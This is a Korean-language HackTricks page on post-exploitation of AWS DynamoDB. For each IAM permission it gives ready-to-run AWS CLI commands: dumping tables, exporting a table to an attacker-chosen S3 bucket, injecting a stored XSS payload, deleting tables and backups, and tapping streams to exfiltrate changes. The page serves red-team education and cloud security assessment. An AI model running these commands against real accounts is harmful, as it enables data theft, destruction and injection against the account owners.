AWS - DynamoDB Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

DynamoDB

더 많은 정보를 확인하려면:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

이 권한을 가진 공격자는 기본 키를 사용하여 테이블에서 항목을 가져올 수 있게 됩니다 (테이블의 모든 데이터를 요청할 수는 없습니다). 이는 기본 키를 알아야 한다는 것을 의미합니다 (테이블 메타데이터를 가져와서 기본 키를 얻을 수 있습니다(describe-table를 사용하여)).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적인 권한 상승

dynamodb:GetItem

이전 권한과 유사하게, 이 권한은 잠재적인 공격자가 검색할 항목의 기본 키를 제공하면 테이블에서 값을 읽을 수 있게 합니다:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

이 권한을 사용하면 transact-get-items 메서드를 사용할 수도 있습니다:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적인 권한 상승

dynamodb:Query

이전 권한과 유사하게 이 권한은 잠재적인 공격자가 항목을 검색하기 위해 기본 키를 제공하여 테이블에서 값들을 읽을 수 있게 합니다. 비교의 하위 집합을 사용할 수 있지만, 기본 키와 함께 허용된 유일한 비교는 "EQ"이며, 따라서 요청에서 전체 DB를 가져오기 위해 비교를 사용할 수 없습니다.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적으로 권한 상승

dynamodb:Scan

이 권한을 사용하여 테이블 전체를 쉽게 덤프할 수 있습니다.

aws dynamodb scan --table-name <t_name> #Get data inside the table

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적으로 권한 상승

dynamodb:PartiQLSelect

이 권한을 사용하여 테이블 전체를 쉽게 덤프할 수 있습니다.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

이 권한은 batch-execute-statement을 수행할 수 있도록 허용합니다.

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

하지만 값과 함께 기본 키를 지정해야 하므로 그다지 유용하지는 않습니다.

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적인 권한 상승

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

이 권한을 가진 사용자는 테이블 전체를 자신이 선택한 S3 버킷으로 내보낼 수 있게 됩니다:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

참고로 이 작업을 수행하려면 테이블이 포인트인타임복구가 활성화되어 있어야 합니다. 테이블이 그 기능을 가지고 있는지 확인하려면 다음을 사용할 수 있습니다:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

만약 활성화되어 있지 않다면, 활성화해야 하며 이를 위해 dynamodb:ExportTableToPointInTime 권한이 필요합니다:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적인 권한 상승

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

이러한 권한을 가지고 있으면 공격자는 백업에서 새 테이블을 생성할 수 있습니다(또는 백업을 생성한 다음 다른 테이블에 복원할 수도 있습니다). 그런 다음 필요한 권한으로 백업에서 정보를 확인할 수 있어서 운영 테이블에 더 이상 없을 수도 있는 정보를 확인할 수 있습니다.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

잠재적 영향: 테이블 백업에서 민감한 정보를 찾아 간접적인 권한 상승

dynamodb:PutItem

이 권한을 가진 사용자는 새 항목을 테이블에 추가하거나 기존 항목을 새 항목으로 대체할 수 있습니다. 동일한 기본 키를 가진 항목이 이미 존재하는 경우, 전체 항목이 새 항목으로 대체됩니다. 기본 키가 존재하지 않는 경우 지정된 기본 키를 가진 새 항목이 생성됩니다.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

잠재적인 영향: 다이나모DB 테이블에서 데이터를 추가/수정하여 추가적인 취약점/우회 공격을 수행할 수 있음

dynamodb:UpdateItem

이 권한은 사용자가 아이템의 기존 속성을 수정하거나 새로운 속성을 추가할 수 있게 합니다. 이는 전체 항목을 대체하지 않습니다; 지정된 속성만 업데이트합니다. 테이블에 기본 키가 없는 경우, 작업은 지정된 기본 키를 가진 새 항목을 생성하고 업데이트 식에 지정된 속성을 설정합니다.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

잠재적 영향: 다이나모DB 테이블에 데이터를 추가/수정하여 추가적인 취약점/우회를 악용할 수 있음

dynamodb:DeleteTable

이 권한을 가진 공격자는 데이터 손실을 유발하는 DynamoDB 테이블을 삭제할 수 있습니다.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

잠재적 영향: 삭제된 테이블에 의존하는 서비스의 데이터 손실 및 중단.

dynamodb:DeleteBackup

이 권한을 가진 공격자는 재해 복구 시나리오에서 데이터 손실을 유발할 수 있는 DynamoDB 백업을 삭제할 수 있습니다.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

잠재적 영향: 데이터 손실 및 재해 복구 시 백업에서 복구할 수 없음.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: 실제로 작동하는지 테스트

이 권한을 가진 공격자는 DynamoDB 테이블에 스트림을 활성화하고, 테이블을 업데이트하여 변경 사항을 스트리밍하고, 그 후에 스트림에 액세스하여 테이블의 변경 사항을 실시간으로 모니터링할 수 있습니다. 이를 통해 공격자는 데이터 변경 사항을 모니터링하고 유출할 수 있으며, 이는 잠재적으로 데이터 유출로 이어질 수 있습니다.

  1. DynamoDB 테이블에 스트림 활성화하기:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN 및 기타 세부 정보를 얻기 위한 스트림을 설명하십시오:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. 스트림 ARN을 사용하여 샤드 이터레이터를 가져옵니다:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. 스트림에서 데이터에 액세스하고 유출하기 위해 샤드 이터레이터를 사용하십시오:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

잠재적 영향: DynamoDB 테이블의 변경 사항을 실시간으로 모니터링하고 데이터 누출.

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team 전문가)!

HackTricks를 지원하는 다른 방법:

最終更新